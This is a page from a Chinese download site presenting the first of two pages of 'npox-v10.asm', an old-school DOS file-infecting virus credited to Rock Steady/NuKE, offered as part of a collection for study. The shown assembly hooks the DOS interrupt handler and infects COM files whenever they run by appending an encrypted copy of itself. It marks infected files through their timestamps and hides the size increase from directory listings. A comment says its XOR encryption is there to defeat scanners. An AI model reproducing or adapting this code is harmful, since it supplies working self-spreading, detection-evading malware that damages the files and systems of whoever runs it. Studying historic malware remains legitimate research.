⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 npox-v10.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
fcb_okay:    mov     ax,es:[bx+17h]                                        
             and     ax,1fh          ;UnMask Seconds Field                 
             xor     al,1dh          ;Is in 58 seconds?                    
             jnz     not_infected    ;Nope...                              
             and     byte ptr es:[bx+17h],0e0h                             
             sub     es:[bx+1dh],virus_size    ;Yes minus virus size       
             sbb     es:[bx+1fh],ax                                        
not_infected:pop     es                                                    
             pop     bx                                                    
             pop     ax                                                    
no_good:     iret                                                          
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
int21_handler:                                                             
             cmp     ax,4b00h        ;File executed                        
             je      execute                                               
             cmp     ah,11h          ;Dir handler                          
             je      dir_handler                                           
             cmp     ah,12h          ;Next file Dir handler                
             je      dir_handler                                           
             cmp     ax,0abcdh       ;Virus testing                        
             jne     int21call                                             
             mov     bx,0abcdh                                             
int21call:                                                                 
             jmp     dword ptr cs:[int21] ;Split...                        
             ret                                                           
execute:                                                                   
             push    ax                                                    
             push    bx                                                    
             push    cx                                                    
             push    dx                                                    
             push    si                                                    
             push    di                                                    
             push    es                                                    
             push    ds                                                    
                                                                           
             mov     ax,4300h                ;Get file Attribs             
             int     21h                                                   
             jc      exit                                                  
                                                                           
             test    cl,1h                   ;Make sure there normal       
             jz      open_file               ;Okay there are               
             and     cl,0feh                 ;Nope, Fix them...            
             mov     ax,4301h                ;Save them now                
             int     21h                                                   
             jc      exit                                                  
                                                                           
open_file:   mov     ax,3D02h                                              
             int     21h                     ;Open File to Infect please   
                                                                           
             jc      exit                   ;Error Split                   
             mov     bx,ax                   ;BX File handler              
             mov     ax,5700h                ;Get file TIME + DATE         
             int     21h                                                   
                                                                           
             mov     al,cl                                                 
             or      cl,1fh                  ;Un mask Seconds              
             dec     cx                      ;60 seconds                   
             dec     cx                      ;58 seconds                   
             xor     al,cl                   ;Is it 58 seconds?            
             jz      exit                   ;File already infected         
                                                                           
             push    cs                                                    
             pop     ds                                                    
             mov     word ptr ds:[old_time],cx       ;Save Time            
             mov     word ptr ds:[old_date],dx       ;Save Date            
                                                                           
             mov     ah,3Fh                                                
             mov     cx,3h                                                 
             mov     dx,offset ds:[buffer]   ;Read first 3 bytes           
             int     21h                                                   
                                                                           
             jc      exit_now                   ;Error Split               
             mov     ax,4202h                   ;Move file pointer to end  
             xor     cx,cx                      ;of file...                
             xor     dx,dx                                                 
             int     21h                                                   
                                                                           
             jc      exit_now                            ;Error Split      
             cmp     word ptr cs:[buffer],5A4Dh          ;Is file an EXE?  
             je      exit                                ;Yupe! Split      
             mov     cx,ax                                                 
             sub     cx,3                                ;Set the JMP      
             mov     word ptr cs:[jump_address+1],cx                       
             call    infect_me                           ;Infect!          
             jc      exit_now                            ;error split      
             mov     ah,40h                         ;Write back the first 3
             mov     dx,offset ds:[jump_address]    ;bytes                 
             mov     cx,3h                                                 
             int     21h                                                   
exit_now:                                                                  
             mov     cx,word ptr cs:[old_time]      ;Restore old time      
             mov     dx,word ptr cs:[old_date]      ;Restore Old date      
             mov     ax,5701h                                              
             int     21h                                                   
                                                                           
             mov     ah,3Eh                                                
             int     21h                     ;Close File now...            
exit:                                                                      
             pop     ds                                                    
             pop     es                                                    
             pop     di                                                    
             pop     si                                                    
             pop     dx                                                    
             pop     cx                                                    
             pop     bx                                                    
             pop     ax                                                    
             jmp     dword ptr cs:[int21]     ;Jmp back to whatever        
rocko        endp                                                          
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
infect_me    proc    near                                                  
             mov     ah,2ch                  ;Get Time                     
             int     21h                                                   
             push    dx                      ;Split seconds to AX          
             pop     ax                                                    
             mov     byte ptr cs:[value],al  ;AL = 0 to 99                 
                                             ;New Encryption Value         
             mov     cx,virus_size                                         
             push    cs                                                    
             pop     es                      ;Copy ANOTHER copy of the     
             mov     si,offset init_virus    ;Virus to the end of us       
             mov     di,offset last                                        
             repne   movsb                                                 
                                                                           
             mov     cx,crypt_size                                         
             sub     cx,3h                   ;Encrypt that 2nd copy!       
             push    bp                                                    
             mov     bp,offset last + 3h                                   
             call    decrypt_encrypt                                       
             pop     bp                                                    
                                                                           
             mov     ah,40h                  ;Write the New Encrypted      
             mov     dx,offset last          ;Virus to File!               
             mov     cx,virus_size                                         
             int     21h                                                   
                                                                           
             jc      exit_error                   ;Error Split             
             mov     ax,4200h                                              
             xor     cx,cx                   ;Pointer back to beginning    
             xor     dx,dx                   ;file!                        
             int     21h                                                   
                                                                           
             jc      exit_error                   ;Split Dude...           
             clc                             ;Clear carry flag             
             retn                                                          
exit_error:                                                                
             stc                             ;Set carry flag               
             retn                                                          
infect_me    endp                                                          
old_time       dw      ?                                                   
old_date       dw      ?                                                   
jump_address   db      0E9h,90h,90h                                        
buffer         db      90h,0CDh,020h                                       
crypt:                                                                     
msgs           db      "(c) Rock Steady/NuKE"   ;No other than `Moi'...    
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- 
decrypt      proc    near                                                  
             pop     bp                                                    
             push    bp                                                    
             mov     al,byte ptr [value-106h][bp]    ;Get new Encryption   
             mov     cx,crypt_size                   ;Value                
decrypt_encrypt:                                                           
             xor     cs:[bp],al             ;Fuck Scanners and put a       
;***************************************************************************             
             not     al
             inc     bp                     ;`NOT AL' anywhere here...     
             loop    decrypt_encrypt                                       
             retn                                                          
value        db      00h             ;Encryption value!                    
decrypt      endp                                                          
last:                                                                      
seg_a        ends                                                          
             end     start                                                 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -